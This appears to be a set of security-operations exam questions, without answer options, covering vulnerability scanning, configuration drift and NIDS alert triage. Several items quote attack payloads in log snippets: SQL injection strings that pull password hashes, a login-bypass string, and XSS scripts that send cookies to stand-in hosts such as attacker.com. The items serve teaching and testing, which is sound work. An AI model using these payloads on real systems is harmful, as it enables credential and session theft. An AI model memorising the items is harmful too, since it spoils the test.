Security Operations

A security analyst receives a high-severity report from an unauthenticated network-based vulnerability scan indicating that several internal Linux servers are susceptible to a critical remote code execution vulnerability in OpenSSL. However, local patch management logs confirm that all vendor-issued security updates were applied earlier that week. Which of the following is the most appropriate action for the analyst to take to verify whether the servers are genuinely vulnerable?

An enterprise security team discovers that several Linux application servers frequently deviate from established security baselines following system maintenance. Local administrators have been making manual configuration edits directly on production instances to resolve immediate service issues, bypassing the organization's deployment pipeline. Which of the following strategies best addresses this configuration drift while ensuring all future changes adhere to baseline security standards?

During a security monitoring shift, an analyst reviews the following alert log snippet generated by a perimeter Network Intrusion Detection System (NIDS) inspecting traffic directed at an internal web application server:

[ALERT] 2026-07-27 14:12:08 UTC - NIDS-Rule-90421
Src: 198.51.100.44:48210 -> Dst: 172.16.10.15:443
Payload snippet: POST /catalog/search HTTP/1.1
Body: item=widget' UNION SELECT username, password_hash FROM user_credentials--

Based on this alert payload and monitoring data, which of the following correctly identifies the attack type and the appropriate analyst action?

During a routine compliance audit, a security team discovers that network edge firewalls across several branch offices frequently deviate from approved hardening standards. Investigation reveals that local technicians frequently perform out-of-band emergency modifications to resolve service outages, which are never synchronized back to the central repository. Which of the following technical and procedural controls should the security team implement to resolve configuration drift and ensure ongoing baseline compliance? (Select TWO.)

Following an infrastructure update, a security team conducts an external unauthenticated vulnerability scan against an enterprise web server. The report highlights several critical kernel vulnerabilities based on the software version header returned by the web service. However, host-based agent logs confirm the operating system was fully patched, and the service header was intentionally customized for version obfuscation. Which of the following best accounts for the high-severity findings in the external scan report?

A network security monitoring sensor positioned at a cloud perimeter captures the following HTTP payload in a triggered NIDS alert log:

http
POST /api/v1/auth/login HTTP/1.1
Host: portal.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

user=admin%27%20OR%20%271%27%3D%271&pass=secret

The NIDS rule signature incorrectly labeled the alert as a generic client-side scripting event. Which of the following correctly identifies the actual threat vector represented by this payload and its primary objective?

A security operations team is preparing to remediate a newly disclosed critical vulnerability affecting enterprise application servers. In what order should the team execute the patch management lifecycle steps from first to last?

Match each vulnerability scanning methodology with its corresponding operational description and primary enterprise use case.

A Security Operations Center (SOC) analyst receives a high-severity intrusion detection alert indicating an unusual volume of outbound DNS queries containing randomized long subdomains. Arrange the following security operations steps in the correct chronological sequence from initial alert triage to network-wide remediation.

A security analyst conducts a scheduled credentialed vulnerability scan against a cluster of Windows servers. Although the scan completes without generating network connectivity errors, the resulting report indicates zero missing operating system patches, despite known unpatched software being present on the servers. A review of the scanner audit logs shows that initial SMB authentication succeeded, but subsequent administrative probes failed when accessing remote management interfaces. Which of the following best explains why the vulnerability scanner produced incomplete results?

Match each vulnerability assessment methodology with its most appropriate enterprise operational deployment scenario.

A security analyst is investigating a high-severity alert generated by a Network Intrusion Detection System (NIDS) positioned at an internal network segment boundary. The NIDS alert log records the following HTTP request event:

2026-07-27T10:14:22Z NIDS_ALERT [ID: 8042911]
SRC: 192.168.10.44:51204 -> DST: 10.1.20.15:80
PROTO: TCP HTTP/1.1
PAYLOAD: GET /profile.php?user=<script>document.location='http://badactor.net/collect.php?cookie='+document.cookie</script> HTTP/1.1
HOST: app-server01.internal.corp
USER-AGENT: Mozilla/5.0

Based on the log entry, which of the following correctly identifies the specific attack threat vector and the most effective inline network control to prevent subsequent payload execution?

Network security monitoring logs report repeated periodic UDP bursts originating from an internal application server to an unfamiliar external IP address over port 123. System configuration audits confirm that standard Network Time Protocol (NTP) services are disabled on this host. Which of the following initial actions should the security team take to analyze and contain this anomalous network activity? (Select TWO.)

A security analyst is reviewing results from a routine network vulnerability scan targeting internal application servers. The generated report lists open network ports and OS banners, but fails to identify missing operating system patches, misconfigured registry settings, or internal web application vulnerabilities. Which of the following adjustments should the analyst make to resolve these scanning visibility gaps? (Select TWO)

A security operations team is configuring an enterprise vulnerability management program for remote branch office Linux workstations connected over low-bandwidth VPN links. During preliminary network-based scanning, central scanner traffic caused noticeable network congestion across the VPN tunnels, and local host firewalls on workstations dropped multiple probe packets, resulting in incomplete scan results. Which of the following solutions should the team deploy to perform comprehensive vulnerability assessments without saturating WAN bandwidth or altering workstation firewall policies?

Following an enterprise-wide remediation effort to patch critical remote code execution vulnerabilities across multiple database servers, a security analyst must confirm that all identified flaws have been successfully resolved. To complete this verification efficiently without causing unnecessary network overhead or waiting for a complete multi-subnet scan cycle, which of the following scanning approaches should the analyst execute?

During a routine security monitoring shift, a Security Operations Center (SOC) analyst reviews an event logged by an out-of-band Network Intrusion Detection System (NIDS). The NIDS alert triggers on inbound HTTP GET traffic directed at a customer portal web server containing the payload string `?user=<script>window.location='http://attacker.com/steal.php?c='+document.cookie</script>`. A junior team member claims the log depicts database manipulation and recommends modifying SQL database queries. Which of the following best evaluates the NIDS alert and identifies the most appropriate remediation strategy?

Match each vulnerability assessment methodology with its corresponding operational characteristic or execution behavior.

A security analyst receives a high-severity alert from an inline Network Intrusion Prevention System (NIPS) indicating potential encrypted command-and-control (C2) beaconing originating from an internal endpoint to an untrusted external IP address. In what sequence should the analyst execute the network security monitoring and initial containment workflow?

A security analyst reviewing network security monitoring logs spots an alert triggered by an HTTP POST payload sent to an internal web application: `POST /api/search HTTP/1.1 Host: app.internal Payload: vendor_id=102 UNION SELECT username, password_hash FROM user_accounts--`. The analyst must identify the nature of the alert and determine the correct mitigation step without disabling HTTP services across the enterprise subnet. Which of the following correctly categorizes this attack vector and specifies the appropriate security control?